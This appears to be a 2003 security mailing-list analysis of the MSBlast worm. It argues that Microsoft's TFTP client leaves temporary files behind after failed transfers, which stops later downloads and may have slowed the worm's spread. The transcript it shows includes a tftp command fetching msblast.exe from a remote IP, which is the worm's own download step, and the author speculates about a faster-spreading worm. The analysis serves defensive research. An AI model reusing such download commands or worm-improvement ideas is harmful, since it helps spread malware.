Is a Microsoft Bug Behind MSBlast's Failure?
MSBlast is a pretty lame attempt at a worm. The MS
RPC exploit a such a huge, juicy target I can't imagine that
this will be the last worm we see target it. An RPC worm that
has smart and ultrafast targetting and a reliable propagation
protocol could really make us feel the pain of this vulnerability.
After some discussions with Philip Sloss and Ryan Permeh
(e-eye) I think I have identified one of the key factors why
MSBlast propagation was so limited ...
According to Ryan, the tftp-server implementation is extremely
basic. Though the TFTP spec provides for application-level
data acknowledgement and re-transmission, the tftp-server
does NOT appear to implement these features. I believe this
results in a lot of failed attempts to download the worm code.
And here's where it gets interesting...there appears
to be a bug in Microsofts TFTP client which will ultimately
cause ALL future TFTP attempt to fail.
Each time you invoke the TFTP client a child process is forked
with a new process ID (PID). The FTP client then creates a
temp file in the current directory called TFTPnnnn (where
nnnn = the PID). The incoming file is copied into the TFTPnnnn
file and then renamed to the incoming file name. If the TFTP
transfer never completes, the TFTP client *fails to delete
the temporary files*.
If you try to do a TFTP transfer and a temporary file already
exists for your current PID, then the TFTP client failes with
the following error:
D:\gdtest>t 81.101.76.147
D:\gdtest>tftp -i 81.101.76.147 GET msblast.exe
tftp: can't write to local file 'msblast.exe'
D:\gdtest>t 81.101.76.147
D:\gdtest>tftp -i 81.101.76.147 GET msblast.exe
tftp: can't write to local file 'msblast.exe'
Note: The temporary files that exist as a result of previous
failed uploads.
D:\gdtest>dir TF*
Volume in drive D has no label.
Volume Serial Number is 841F-B449
Directory of D:\gdtest
08/13/2003 15:20 0 TFTP2232
08/13/2003 15:33 0 TFTP2108
08/13/2003 15:33 0 TFTP1732
08/13/2003 15:34 0 TFTP2060
08/13/2003 15:34 0 TFTP2300
5 File(s) 0 bytes
0 Dir(s) 116,518,912 bytes free
If you then delete the temp files:
d:> attrib -r TFT*
d:> del TFT*
THEN you get another chance to do the transfer:
From what I can tell, once you fail 5-6 TFTP GETs in a row
you get almost a 100% collision rate whereby the PID used
for the transfer session matches a pre-existing temp file.
I believe that this could cause a perfectly vulnerable host
to be temporarily *immune* from infection...at least until
the system was rebooted and a fresh set of process IDS put
into use...but even then if you do 5-6 failed TFTP tries...then
it's immune again.
I have NOT actually fired off the worm and validated the
assertion that the TFTP attempts have a high failure rate
(all my connections are now filtered so I can't test this).
Has anyone evaluated this?
Credits
These comments are a result of the collaborative research
efforts of Philip Sloss, Steve Friedl, Ryan Permeh, and myself,
Lawrence Baldwin.
|
